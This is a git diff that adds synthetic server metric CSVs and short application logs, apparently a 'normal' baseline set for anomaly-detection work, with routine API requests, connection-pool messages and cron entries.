+2025-08-22T14:03:45Z,14.91,106.65,45.7,26.45,1.26,0.79 +2025-08-22T14:03:50Z,11.79,73.32,46.74,27.57,1.01,0.67 +2025-08-22T14:03:55Z,14.06,81.73,41.85,30.49,0.95,0.88 +2025-08-22T14:04:00Z,15.3,82.67,42.09,27.14,1.13,1.16 +2025-08-22T14:04:05Z,15.71,101.28,48.13,27.81,0.92,0.93 +2025-08-22T14:04:10Z,14.5,94.62,45.2,27.25,1.1,0.91 +2025-08-22T14:04:15Z,15.17,56.86,40.8,30.09,1.21,0.95 +2025-08-22T14:04:20Z,14.66,64.22,50.61,36.2,1.03,0.88 +2025-08-22T14:04:25Z,16.7,77.73,49.05,29.89,1.11,1.0 +2025-08-22T14:04:30Z,12.76,91.16,48.09,29.11,1.37,1.01 +2025-08-22T14:04:35Z,14.85,76.85,46.19,29.37,1.19,0.98 +2025-08-22T14:04:40Z,12.17,77.71,45.74,34.94,1.1,1.01 +2025-08-22T14:04:45Z,12.76,49.7,41.07,27.21,1.43,1.16 +2025-08-22T14:04:50Z,15.74,71.01,44.82,23.08,1.1,0.84 +2025-08-22T14:04:55Z,14.11,66.85,43.34,23.69,1.33,0.96 +2025-08-22T14:05:00Z,16.94,89.45,49.32,32.7,1.21,0.85 +2025-08-22T14:05:05Z,15.11,78.78,42.36,36.14,0.97,1.1 +2025-08-22T14:05:10Z,16.07,77.88,48.92,21.43,1.35,0.67 +2025-08-22T14:05:15Z,17.43,76.91,45.51,28.33,1.04,0.79 +2025-08-22T14:05:20Z,13.89,86.47,48.64,33.75,1.16,0.67 +2025-08-22T14:05:25Z,10.42,80.97,41.86,35.68,1.59,0.98 +2025-08-22T14:05:30Z,11.99,85.24,39.38,14.43,1.58,1.06 +2025-08-22T14:05:35Z,12.51,70.26,43.72,28.31,1.49,0.84 +2025-08-22T14:05:40Z,14.08,80.93,43.4,33.25,1.05,0.83 +2025-08-22T14:05:45Z,12.53,104.39,45.99,20.59,1.05,0.84 +2025-08-22T14:05:50Z,15.97,83.44,45.95,49.74,1.07,0.85 +2025-08-22T14:05:55Z,16.18,81.91,40.89,25.18,1.14,0.82 +2025-08-22T14:06:00Z,13.92,88.77,47.83,36.03,1.14,1.11 +2025-08-22T14:06:05Z,16.07,60.95,46.16,31.41,1.31,1.15 +2025-08-22T14:06:10Z,15.95,68.98,43.73,33.51,1.31,1.06 +2025-08-22T14:06:15Z,19.13,104.96,45.09,42.1,1.25,0.88 +2025-08-22T14:06:20Z,19.34,79.64,42.53,28.75,1.33,0.86 +2025-08-22T14:06:25Z,14.29,70.56,48.2,31.25,1.39,0.98 +2025-08-22T14:06:30Z,21.06,79.16,49.21,32.95,1.33,0.94 +2025-08-22T14:06:35Z,13.19,77.63,45.15,32.86,1.12,0.86 +2025-08-22T14:06:40Z,14.83,76.56,47.37,33.3,1.51,1.02 +2025-08-22T14:06:45Z,16.64,81.83,44.83,35.7,1.27,0.65 +2025-08-22T14:06:50Z,17.5,65.05,43.54,29.57,1.09,1.04 +2025-08-22T14:06:55Z,18.3,71.09,43.42,28.41,1.25,0.84 +2025-08-22T14:07:00Z,16.7,82.94,41.11,20.7,0.94,0.85 +2025-08-22T14:07:05Z,13.4,52.0,42.66,38.16,1.16,0.7 +2025-08-22T14:07:10Z,11.37,75.66,50.1,32.97,1.12,0.74 +2025-08-22T14:07:15Z,15.72,79.51,49.55,23.48,1.47,0.82 +2025-08-22T14:07:20Z,20.24,54.83,45.5,39.3,0.99,0.8 +2025-08-22T14:07:25Z,14.08,98.64,43.93,37.77,1.27,0.55 diff --git a/norm_dataset/scenario_15/norm_15_10.log b/norm_dataset/scenario_15/norm_15_10.log new file mode 100644 index 0000000000000000000000000000000000000000..92061ae35fa97f8fce11e3b781f149b4b885cba6 --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_10.log @@ -0,0 +1,20 @@ +Aug 22 14:00:10 app-server[4123]: INFO GET /api/v1/products status=200 OK +Aug 22 14:00:40 app-server[4123]: INFO GET /api/v1/user/profile/45 status=200 OK +Aug 22 14:01:15 app-server[4123]: INFO POST /api/v1/cart/update status=200 OK +Aug 22 14:01:40 hikari-pool[801]: DEBUG Pool 'HikariPool-1' - Adding new connection. +Aug 22 14:01:45 app-server[4123]: WARN Request latency high for GET /api/v1/orders/8912 +Aug 22 14:01:50 hikari-pool[801]: DEBUG Pool 'HikariPool-1' - Adding new connection. +Aug 22 14:01:55 app-server[4123]: INFO GET /api/v1/inventory/check status=200 OK +Aug 22 14:02:00 hikari-pool[801]: DEBUG Pool 'HikariPool-1' - Adding new connection. +Aug 22 14:02:05 hikari-pool[801]: DEBUG Pool 'HikariPool-1' - Adding new connection. +Aug 22 14:02:10 app-server[4123]: INFO GET /api/v1/products/category/12 status=200 OK +Aug 22 14:02:20 app-server[4123]: INFO GET /api/v1/orders/8912 status=200 OK +Aug 22 14:02:55 app-server[4123]: INFO GET /api/v1/user/profile/101 status=200 OK +Aug 22 14:03:30 app-server[4123]: INFO GET /api/v1/products status=200 OK +Aug 22 14:04:10 app-server[4123]: INFO POST /api/v1/login status=200 OK +Aug 22 14:04:50 app-server[4123]: INFO GET /api/v1/products/featured status=200 OK +Aug 22 14:05:25 app-server[4123]: INFO GET /api/v1/user/profile/78 status=200 OK +Aug 22 14:06:00 systemd[1]: Starting daily clean up activities... +Aug 22 14:06:30 app-server[4123]: INFO GET /api/v1/products status=200 OK +Aug 22 14:07:05 app-server[4123]: INFO GET /api/v1/user/profile/23 status=200 OK +Aug 22 14:07:25 app-server[4123]: INFO POST /api/v1/cart/checkout status=200 OK diff --git a/norm_dataset/scenario_15/norm_15_11.csv b/norm_dataset/scenario_15/norm_15_11.csv new file mode 100644 index 0000000000000000000000000000000000000000..4f68a2f5f29d1d1529740dd84d1ecdabc511a286 --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_11.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out,app_latency +2025-08-23T10:00:00Z,16.25,41.66,22.96,0.72,0.87,59.47 +2025-08-23T10:00:05Z,17.55,45.13,26.47,0.95,0.8,48.68 +2025-08-23T10:00:10Z,17.29,43.23,32.54,0.74,0.58,46.35 +2025-08-23T10:00:15Z,14.92,44.4,23.54,1.26,0.99,48.33 +2025-08-23T10:00:20Z,15.37,48.46,29.86,1.08,0.68,58.42 +2025-08-23T10:00:25Z,14.39,42.84,24.45,1.34,0.46,46.25 +2025-08-23T10:00:30Z,13.71,46.06,18.58,1.19,0.58,42.49 +2025-08-23T10:00:35Z,13.75,43.21,25.26,0.72,0.48,46.07 +2025-08-23T10:00:40Z,15.73,43.54,23.32,0.54,0.78,42.36 +2025-08-23T10:00:45Z,14.96,42.69,29.11,0.94,0.85,53.08 +2025-08-23T10:00:50Z,18.39,39.46,42.32,0.86,0.35,44.72 +2025-08-23T10:00:55Z,13.31,44.88,32.09,0.91,0.82,49.78 +2025-08-23T10:01:00Z,18.52,46.15,27.42,1.01,1.01,51.4 +2025-08-23T10:01:05Z,13.72,43.23,43.42,0.82,1.26,52.72 +2025-08-23T10:01:10Z,15.55,46.17,33.92,1.19,0.63,53.38 +2025-08-23T10:01:15Z,13.49,43.01,34.89,1.01,0.57,42.02 +2025-08-23T10:01:20Z,14.43,41.15,37.01,0.69,0.99,43.86 +2025-08-23T10:01:25Z,14.77,48.7,24.63,1.2,0.66,50.94 +2025-08-23T10:01:30Z,18.39,49.06,21.02,0.9,1.0,45.24 +2025-08-23T10:01:35Z,16.11,47.81,32.02,0.9,0.76,40.23 +2025-08-23T10:01:40Z,28.61,40.43,31.44,6.05,0.89,234.17 +2025-08-23T10:01:45Z,31.21,46.39,27.29,7.02,1.06,203.14 +2025-08-23T10:01:50Z,32.93,44.31,28.12,6.97,0.8,201.79 +2025-08-23T10:01:55Z,35.69,43.1,34.07,4.03,1.29,198.35 +2025-08-23T10:02:00Z,24.84,43.72,28.7,5.1,1.0,187.03 +2025-08-23T10:02:05Z,35.75,43.96,30.68,7.33,0.55,171.89 +2025-08-23T10:02:10Z,27.15,42.5,28.26,5.48,0.8,219.81 +2025-08-23T10:02:15Z,30.83,43.41,32.57,4.67,0.83,194.91 +2025-08-23T10:02:20Z,26.45,46.05,39.72,5.74,0.49,55.94 +2025-08-23T10:02:25Z,29.42,47.17,34.41,3.97,0.89,48.73 +2025-08-23T10:02:30Z,16.13,47.15,27.01,5.82,0.64,51.42 +2025-08-23T10:02:35Z,13.0,46.01,30.52,5.36,0.58,52.83 +2025-08-23T10:02:40Z,14.4,45.66,29.84,4.22,0.87,49.77 +2025-08-23T10:02:45Z,13.33,44.76,30.83,4.97,0.93,51.35 +2025-08-23T10:02:50Z,13.42,42.32,20.58,5.67,0.73,48.17 +2025-08-23T10:02:55Z,12.12,43.67,37.58,5.81,0.95,50.38 +2025-08-23T10:03:00Z,12.58,46.25,29.48,5.66,0.8,46.83 +2025-08-23T10:03:05Z,14.8,36.27,37.13,5.28,0.76,52.38 +2025-08-23T10:03:10Z,14.2,46.82,33.51,5.48,0.74,52.27 +2025-08-23T10:03:15Z,13.73,43.01,33.04,4.53,0.62,49.87 +2025-08-23T10:03:20Z,14.35,40.1,30.58,1.27,0.67,59.04 +2025-08-23T10:03:25Z,14.29,40.96,24.92,0.9,0.91,43.01 +2025-08-23T10:03:30Z,16.82,42.17,25.33,0.82,0.72,50.5 +2025-08-23T10:03:35Z,14.81,44.76,36.67,0.92,0.84,46.68 +2025-08-23T10:03:40Z,16.79,46.04,32.22,0.99,0.9,54.17 +2025-08-23T10:03:45Z,16.61,44.88,33.77,1.11,0.67,50.4 +2025-08-23T10:03:50Z,15.64,46.13,39.9,0.74,0.59,49.57 +2025-08-23T10:03:55Z,14.3,42.11,34.99,0.81,0.77,52.66 +2025-08-23T10:04:00Z,18.54,41.49,28.96,0.95,0.57,49.7 +2025-08-23T10:04:05Z,16.49,46.22,35.62,1.27,1.23,50.79 +2025-08-23T10:04:10Z,12.8,44.56,36.28,1.38,0.45,40.59 +2025-08-23T10:04:15Z,13.13,43.83,24.06,1.0,0.55,52.59 +2025-08-23T10:04:20Z,15.09,50.62,28.27,0.8,0.84,59.31 +2025-08-23T10:04:25Z,12.71,41.33,22.76,0.86,0.82,59.22 +2025-08-23T10:04:30Z,14.45,40.86,33.55,0.95,0.89,52.04 +2025-08-23T10:04:35Z,16.44,40.44,26.11,1.0,0.71,50.49 +2025-08-23T10:04:40Z,16.24,45.37,31.22,0.88,0.6,52.05 +2025-08-23T10:04:45Z,16.94,41.5,29.69,0.98,0.96,52.48 +2025-08-23T10:04:50Z,9.87,41.0,30.0,0.83,0.78,46.89 +2025-08-23T10:04:55Z,17.35,49.04,31.71,1.12,1.06,47.61 +2025-08-23T10:05:00Z,11.31,47.16,27.41,1.13,0.72,54.02 +2025-08-23T10:05:05Z,15.76,43.26,36.31,0.83,0.72,51.96 +2025-08-23T10:05:10Z,12.28,48.39,25.33,1.2,0.85,46.4 +2025-08-23T10:05:15Z,14.88,44.51,36.67,0.76,0.79,44.36 +2025-08-23T10:05:20Z,16.0,42.73,32.18,1.09,0.54,53.46 +2025-08-23T10:05:25Z,16.78,38.41,28.99,1.02,0.83,43.64 +2025-08-23T10:05:30Z,12.39,46.03,37.28,0.71,0.93,48.86 +2025-08-23T10:05:35Z,12.75,47.84,33.61,1.13,0.7,46.41 +2025-08-23T10:05:40Z,15.28,46.54,25.66,1.1,0.7,46.7 +2025-08-23T10:05:45Z,12.06,40.83,40.77,1.21,0.51,56.09 +2025-08-23T10:05:50Z,16.17,47.77,34.64,1.07,0.71,46.33 +2025-08-23T10:05:55Z,13.33,44.64,31.98,0.93,0.89,46.89 +2025-08-23T10:06:00Z,17.85,41.64,30.63,0.73,0.62,50.76 +2025-08-23T10:06:05Z,14.11,46.47,32.54,1.05,1.24,42.01 +2025-08-23T10:06:10Z,17.16,35.07,25.44,0.86,0.87,43.82 +2025-08-23T10:06:15Z,17.96,45.79,32.84,0.89,1.16,52.38 +2025-08-23T10:06:20Z,13.42,44.43,28.72,0.95,0.57,52.8 +2025-08-23T10:06:25Z,14.52,42.07,20.78,0.84,0.97,49.78 +2025-08-23T10:06:30Z,19.93,39.53,40.38,0.83,1.06,53.98 +2025-08-23T10:06:35Z,17.2,48.14,40.15,1.11,0.67,46.88 +2025-08-23T10:06:40Z,19.19,42.45,27.35,1.26,0.8,47.27 +2025-08-23T10:06:45Z,12.94,46.66,29.79,0.99,0.58,58.76 +2025-08-23T10:06:50Z,15.74,47.85,31.2,1.09,0.4,39.76 +2025-08-23T10:06:55Z,17.16,44.37,32.69,1.05,0.99,58.53 +2025-08-23T10:07:00Z,18.87,48.86,33.63,1.08,0.8,54.67 +2025-08-23T10:07:05Z,14.05,46.16,24.6,1.1,0.62,46.5 +2025-08-23T10:07:10Z,17.04,43.44,31.68,0.95,0.88,55.49 +2025-08-23T10:07:15Z,18.6,38.28,28.83,1.22,0.85,56.86 +2025-08-23T10:07:20Z,14.4,41.9,37.84,1.05,0.57,49.57 +2025-08-23T10:07:25Z,14.47,47.8,26.75,1.13,0.75,52.5 diff --git a/norm_dataset/scenario_15/norm_15_11.log b/norm_dataset/scenario_15/norm_15_11.log new file mode 100644 index 0000000000000000000000000000000000000000..bcd6f1f431129d58f1cddc9e2dc1a841117c49de --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_11.log @@ -0,0 +1,20 @@ +Aug 23 10:00:10 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 23 10:00:40 systemd[1]: Starting daily clean up activities... +Aug 23 10:01:15 web-app[1234]: GET /api/v1/products status=200 OK +Aug 23 10:01:45 web-app[1234]: DEBUG com.zaxxer.hikari.HikariPool - HikariPool-1 - Adding new connection conn1 +Aug 23 10:01:45 web-app[1234]: GET /api/v1/data/heavy status=200 OK +Aug 23 10:01:50 web-app[1234]: DEBUG com.zaxxer.hikari.HikariPool - HikariPool-1 - Adding new connection conn2 +Aug 23 10:01:55 web-app[1234]: DEBUG com.zaxxer.hikari.HikariPool - HikariPool-1 - Adding new connection conn3 +Aug 23 10:01:55 web-app[1234]: GET /api/v1/data/heavy status=200 OK +Aug 23 10:02:00 web-app[1234]: DEBUG com.zaxxer.hikari.HikariPool - HikariPool-1 - Adding new connection conn4 +Aug 23 10:02:05 web-app[1234]: DEBUG com.zaxxer.hikari.HikariPool - HikariPool-1 - Adding new connection conn5 +Aug 23 10:02:05 web-app[1234]: GET /api/v1/data/heavy status=200 OK +Aug 23 10:02:10 web-app[1234]: DEBUG com.zaxxer.hikari.HikariPool - HikariPool-1 - Adding new connection conn6 +Aug 23 10:02:15 web-app[1234]: DEBUG com.zaxxer.hikari.HikariPool - HikariPool-1 - Adding new connection conn7 +Aug 23 10:02:15 web-app[1234]: GET /api/v1/data/heavy status=200 OK +Aug 23 10:02:20 web-app[1234]: DEBUG com.zaxxer.hikari.HikariPool - HikariPool-1 - Adding new connection conn8 +Aug 23 10:04:10 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 23 10:05:00 web-app[1234]: GET /api/v1/user/99 status=200 OK +Aug 23 10:05:50 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 23 10:06:40 web-app[1234]: GET /api/v1/status status=200 OK +Aug 23 10:07:05 systemd[1]: Finished daily clean up activities. diff --git a/norm_dataset/scenario_15/norm_15_12.csv b/norm_dataset/scenario_15/norm_15_12.csv new file mode 100644 index 0000000000000000000000000000000000000000..ccb4675965a2cf29286b9c2e96333ee430a84110 --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_12.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out,app_latency +2025-07-02T12:00:00Z,15.84,39.09,13.91,1.2,0.8,89.34 +2025-07-02T12:00:05Z,9.18,40.57,17.52,0.75,0.75,99.12 +2025-07-02T12:00:10Z,16.21,39.74,24.0,1.0,0.72,97.16 +2025-07-02T12:00:15Z,13.67,38.16,19.14,1.03,0.81,79.4 +2025-07-02T12:00:20Z,11.74,42.08,12.76,0.69,0.48,82.75 +2025-07-02T12:00:25Z,12.31,42.03,18.76,1.09,0.84,75.4 +2025-07-02T12:00:30Z,13.12,39.47,18.04,0.84,0.82,70.3 +2025-07-02T12:00:35Z,14.84,39.96,21.76,0.78,0.61,70.6 +2025-07-02T12:00:40Z,15.7,40.24,20.65,1.07,0.85,85.51 +2025-07-02T12:00:45Z,14.92,40.54,23.41,1.13,0.93,79.66 +2025-07-02T12:00:50Z,16.35,40.73,64.35,4.82,3.45,106.0 +2025-07-02T12:00:55Z,17.03,39.05,63.77,5.04,3.14,132.69 +2025-07-02T12:01:00Z,21.19,40.59,57.69,4.68,4.21,247.86 +2025-07-02T12:01:05Z,28.42,40.15,55.3,5.24,4.29,320.04 +2025-07-02T12:01:10Z,30.09,42.08,58.66,5.23,4.28,389.15 +2025-07-02T12:01:15Z,33.32,39.99,58.16,4.99,4.58,452.55 +2025-07-02T12:01:20Z,26.98,39.35,70.76,5.9,5.09,163.91 +2025-07-02T12:01:25Z,18.52,40.66,74.29,4.3,3.84,174.27 +2025-07-02T12:01:30Z,18.37,39.71,67.27,5.05,4.94,228.5 +2025-07-02T12:01:35Z,22.63,42.44,68.75,4.67,4.25,173.89 +2025-07-02T12:01:40Z,24.13,41.69,56.45,5.42,4.11,190.03 +2025-07-02T12:01:45Z,22.17,43.13,69.23,5.04,4.3,169.73 +2025-07-02T12:01:50Z,24.29,42.51,59.92,4.96,4.53,170.02 +2025-07-02T12:01:55Z,27.69,40.27,57.27,5.27,2.78,173.31 +2025-07-02T12:02:00Z,24.02,39.49,56.79,4.97,4.41,134.79 +2025-07-02T12:02:05Z,24.09,41.62,50.74,5.08,3.52,177.16 +2025-07-02T12:02:10Z,27.77,41.36,52.64,4.06,3.3,184.1 +2025-07-02T12:02:15Z,20.3,41.73,69.0,5.26,4.0,177.34 +2025-07-02T12:02:20Z,20.79,42.33,53.76,5.93,5.15,185.76 +2025-07-02T12:02:25Z,15.71,41.55,55.16,5.92,4.37,167.91 +2025-07-02T12:02:30Z,25.1,43.53,63.68,5.2,3.58,162.83 +2025-07-02T12:02:35Z,23.34,42.75,54.68,5.05,4.42,189.66 +2025-07-02T12:02:40Z,24.52,41.28,67.85,5.21,4.27,202.6 +2025-07-02T12:02:45Z,20.09,43.94,60.56,5.25,4.14,186.24 +2025-07-02T12:02:50Z,24.85,42.56,52.15,4.69,3.06,137.65 +2025-07-02T12:02:55Z,23.45,42.73,69.76,4.76,4.49,167.68 +2025-07-02T12:03:00Z,19.73,43.35,75.55,5.4,3.77,157.25 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+2025-07-02T12:07:25Z,18.03,47.44,20.66,0.76,0.66,76.01 diff --git a/norm_dataset/scenario_15/norm_15_12.log b/norm_dataset/scenario_15/norm_15_12.log new file mode 100644 index 0000000000000000000000000000000000000000..c98267575d752b2e7e4de622deba82311eed23d4 --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_12.log @@ -0,0 +1,20 @@ +Jul 02 12:00:05 web-app[1357]: GET /api/v1/user/84 status=200 OK +Jul 02 12:00:20 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:35 web-app[1357]: GET /api/v1/user/102 status=200 OK +Jul 02 12:00:51 hikaricp.HikariPool[1357]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Jul 02 12:00:53 web-app[1357]: GET /api/v1/data/stream status=200 OK +Jul 02 12:00:56 hikaricp.HikariPool[1357]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Jul 02 12:00:59 web-app[1357]: GET /api/v1/data/stream status=200 OK +Jul 02 12:01:02 hikaricp.HikariPool[1357]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Jul 02 12:01:06 web-app[1357]: GET /api/v1/data/stream status=200 OK +Jul 02 12:01:10 hikaricp.HikariPool[1357]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Jul 02 12:01:15 web-app[1357]: GET /api/v1/data/stream status=200 OK +Jul 02 12:01:25 web-app[1357]: GET /api/v1/data/stream status=200 OK +Jul 02 12:01:35 web-app[1357]: GET /api/v1/data/stream status=200 OK +Jul 02 12:02:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:02:20 web-app[1357]: GET /api/v1/data/stream status=200 OK +Jul 02 12:03:00 web-app[1357]: GET /api/v1/data/stream status=200 OK +Jul 02 12:03:40 CRON[6543]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:04:15 web-app[1357]: GET /api/v1/user/91 status=200 OK +Jul 02 12:05:00 web-app[1357]: GET /api/v1/user/44 status=200 OK +Jul 02 12:06:00 systemd[1]: Starting daily clean up activities... diff --git a/norm_dataset/scenario_15/norm_15_13.csv b/norm_dataset/scenario_15/norm_15_13.csv new file mode 100644 index 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+2025-08-23T10:06:15Z,16.83977157175356,47.30676342107736,26.969592856144203,1.1629922408964692,0.9263991884515419,45.34279239250449 +2025-08-23T10:06:20Z,16.207417389745086,47.012157496594384,27.469332349202766,0.9705301023534346,0.7787358812214905,50.078851083807066 +2025-08-23T10:06:25Z,13.992248073999646,47.5108807060195,28.71463547046613,0.985867121023676,0.6199534870169506,49.52000236140198 +2025-08-23T10:06:30Z,14.296258008281406,44.436087307445135,28.625001108983405,1.1868654462091635,0.7194250990430192,45.09985522045438 +2025-08-23T10:06:35Z,15.6699025675749,45.54711548765858,31.62920825292521,0.8102454550735402,0.9468694182683723,50.41683439242 +2025-08-23T10:06:40Z,16.748294411471576,42.59965778873838,33.760490441609974,1.1102655528388523,0.9373924357035748,46.3686380610646 +2025-08-23T10:06:45Z,13.472923316867439,46.06301106370023,32.47865684001977,0.8046550345429617,0.9635326571793719,45.44812484943072 +2025-08-23T10:06:50Z,14.36230928373977,45.26121955071364,34.70009372048247,1.1401676862764634,0.9428047559412474,51.559182211024236 +2025-08-23T10:06:55Z,13.312675949960754,44.70980407276388,26.479410870809215,0.9607357979710752,0.9658798099536046,45.7882194428549 +2025-08-23T10:07:00Z,13.764215464387272,42.78313997013504,32.82735539519927,0.9427063302786209,0.6633034279333392,52.54066774819707 +2025-08-23T10:07:05Z,14.755740506282203,42.12147846105759,26.94476541203269,1.1693678585999916,0.9783609349980279,53.4978624294171 +2025-08-23T10:07:10Z,13.288848924686329,44.73570219259673,25.517416157611766,0.9510897467768812,0.9560797802876475,50.21311739225109 +2025-08-23T10:07:15Z,13.637396443212658,44.984637488324694,31.003051485424734,0.9539113751916066,0.9907368879272604,51.345376459366044 +2025-08-23T10:07:20Z,14.651436493251717,43.11547815247135,34.56679471288247,0.9348583006176369,0.8148943554692086,46.900254016041146 +2025-08-23T10:07:25Z,14.558471875650973,46.47804041551681,33.76823029125528,0.9832049395487394,0.7394245446359167,46.024091035954356 diff --git a/norm_dataset/scenario_15/norm_15_13.log b/norm_dataset/scenario_15/norm_15_13.log new file mode 100644 index 0000000000000000000000000000000000000000..c58bff906aca11e7b6ce697432a3805a75e5e224 --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_13.log @@ -0,0 +1,20 @@ +Aug 23 10:00:00 web-app[1777]: INFO GET /api/v1/user/profile status=200 OK +Aug 23 10:00:05 web-app[1777]: INFO GET /api/v1/user/profile status=200 OK +Aug 23 10:00:30 web-app[1193]: INFO GET /api/v1/user/profile status=200 OK +Aug 23 10:00:35 web-app[1193]: INFO GET /api/v1/user/profile status=200 OK +Aug 23 10:00:40 web-app[1661]: INFO GET /api/v1/user/profile status=200 OK +Aug 23 10:00:45 web-app[1777]: INFO GET /api/v1/user/profile status=200 OK +Aug 23 10:01:30 web-app[1193]: INFO GET /api/v1/user/profile status=200 OK +Aug 23 10:02:05 web-app[1661]: INFO POST /api/v1/orders status=201 CREATED +Aug 23 10:02:20 web-app[1193]: INFO POST /api/v1/orders status=201 CREATED +Aug 23 10:03:00 web-app[1777]: INFO POST /api/v1/orders status=201 CREATED +Aug 23 10:03:05 web-app[1661]: INFO POST /api/v1/orders status=201 CREATED +Aug 23 10:03:10 web-app[1777]: INFO POST /api/v1/orders status=201 CREATED +Aug 23 10:03:20 web-app[1661]: INFO GET /api/v1/dashboard status=200 OK +Aug 23 10:03:25 web-app[1193]: INFO GET /api/v1/dashboard status=200 OK +Aug 23 10:03:35 web-app[1661]: INFO GET /api/v1/dashboard status=200 OK +Aug 23 10:03:55 web-app[1661]: INFO GET /api/v1/dashboard status=200 OK +Aug 23 10:04:00 web-app[1193]: INFO GET /api/v1/dashboard status=200 OK +Aug 23 10:04:30 web-app[1661]: INFO GET /api/v1/dashboard status=200 OK +Aug 23 10:05:25 web-app[1661]: INFO GET /api/v1/dashboard status=200 OK +Aug 23 10:07:00 web-app[1193]: INFO GET /api/v1/dashboard status=200 OK diff --git a/norm_dataset/scenario_15/norm_15_14.csv b/norm_dataset/scenario_15/norm_15_14.csv new file mode 100644 index 0000000000000000000000000000000000000000..cca3cd05f63447e109bba7511d5deb6682026c30 --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_14.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,app_latency,mem_usage,disk_io,net_in,net_out +2025-08-23T10:00:00Z,11.58,45.47,41.81,24.88,1.33,1.1 +2025-08-23T10:00:05Z,13.9,41.23,42.0,20.17,1.36,0.97 +2025-08-23T10:00:10Z,11.89,51.53,40.47,24.69,1.14,1.04 +2025-08-23T10:00:15Z,11.65,45.86,42.86,21.64,1.34,0.94 +2025-08-23T10:00:20Z,12.42,43.5,41.36,20.01,1.42,1.14 +2025-08-23T10:00:25Z,14.45,49.49,42.02,28.24,1.36,0.95 +2025-08-23T10:00:30Z,10.97,56.77,40.69,23.35,1.22,1.13 +2025-08-23T10:00:35Z,14.48,42.46,41.93,25.43,1.3,1.01 +2025-08-23T10:00:40Z,13.49,57.25,41.34,22.38,1.39,0.82 +2025-08-23T10:00:45Z,13.64,57.94,44.56,29.31,1.14,1.07 +2025-08-23T10:00:50Z,12.46,57.9,41.99,20.37,3.96,2.97 +2025-08-23T10:00:55Z,19.68,78.74,42.05,28.77,4.43,3.32 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+2025-08-23T10:06:55Z,15.34,56.25,44.2,22.53,3.84,3.43 +2025-08-23T10:07:00Z,17.27,48.39,44.25,26.16,3.7,3.11 +2025-08-23T10:07:05Z,17.81,58.62,44.95,29.68,3.3,3.2 +2025-08-23T10:07:10Z,17.96,55.99,41.91,24.86,3.92,2.84 +2025-08-23T10:07:15Z,18.24,53.44,40.86,27.88,3.4,3.1 +2025-08-23T10:07:20Z,14.55,47.66,43.88,28.78,3.69,3.19 +2025-08-23T10:07:25Z,18.53,63.44,40.42,26.17,3.4,2.67 diff --git a/norm_dataset/scenario_15/norm_15_14.log b/norm_dataset/scenario_15/norm_15_14.log new file mode 100644 index 0000000000000000000000000000000000000000..34c2b7bb17768b0e1bb94cbd105ebd6a29327f74 --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_14.log @@ -0,0 +1,19 @@ +Aug 23 09:59:57 db-worker[3456]: INFO Starting regular background check. +Aug 23 10:00:27 web-app[1234]: GET /api/v1/health status=200 OK +Aug 23 10:00:41 web-app[1234]: GET /api/v1/user/42 status=200 OK +Aug 23 10:00:56 HikariCP[2345]: DEBUG: Pool 'HikariPool-1' - Adding new connection (1). +Aug 23 10:00:56 web-app[1234]: POST /api/v1/orders status=201 CREATED +Aug 23 10:01:02 HikariCP[2345]: DEBUG: Pool 'HikariPool-1' - Adding new connection (2). +Aug 23 10:01:02 web-app[1234]: POST /api/v1/orders status=201 CREATED +Aug 23 10:01:09 HikariCP[2345]: DEBUG: Pool 'HikariPool-1' - Adding new connection (3). +Aug 23 10:01:09 web-app[1234]: POST /api/v1/orders status=201 CREATED +Aug 23 10:01:18 HikariCP[2345]: DEBUG: Pool 'HikariPool-1' - Adding new connection (4). +Aug 23 10:01:18 web-app[1234]: POST /api/v1/orders status=201 CREATED +Aug 23 10:01:26 HikariCP[2345]: DEBUG: Pool 'HikariPool-1' - Adding new connection (5). +Aug 23 10:01:26 web-app[1234]: POST /api/v1/orders status=201 CREATED +Aug 23 10:01:39 HikariCP[2345]: DEBUG: Pool 'HikariPool-1' - Pool stats (total=10, active=10, idle=0, waiting=0) +Aug 23 10:02:32 web-app[1234]: GET /api/v1/products/99 status=200 OK +Aug 23 10:03:21 web-app[1234]: GET /api/v1/user/55 status=200 OK +Aug 23 10:04:36 db-worker[3456]: INFO Background check completed successfully. +Aug 23 10:05:51 web-app[1234]: GET /api/v1/health status=200 OK +Aug 23 10:06:41 CRON[6543]: (root) CMD (run-parts --report /etc/cron.hourly) diff --git a/norm_dataset/scenario_15/norm_15_15.csv b/norm_dataset/scenario_15/norm_15_15.csv new file mode 100644 index 0000000000000000000000000000000000000000..1abba72e1249bc8e4bfdc8e99c6b6753b6e64dc6 --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_15.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,app_latency_ms,mem_usage,disk_io,net_in,net_out +2025-08-23T10:00:00Z,15.993428306022466,50.4853877467402,41.87700204329502,37.20636644533058,1.1038693028482345,0.7905981354090242 +2025-08-23T10:00:05Z,14.723471397657631,54.84322495266444,37.42852733075115,22.8206892441028,1.3065477826005156,0.9432713480751858 +2025-08-23T10:00:10Z,33.80245341239681,138.52078197590848,36.78732250581666,35.815818760774796,0.9782479703086284,0.6521410930496685 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+2025-08-23T10:07:15Z,15.657502219319369,57.26767038578659,35.7095758661181,28.55670680539931,0.8120240427345289,0.7423166683655262 +2025-08-23T10:07:20Z,13.940479592465923,48.67671583381022,38.67986653990905,31.613592801690448,0.8972266165326612,0.9509439213821661 +2025-08-23T10:07:25Z,16.02653486622671,63.600845832948096,40.39222173185827,25.863845282238387,0.7881572956222097,0.7134662195715278 diff --git 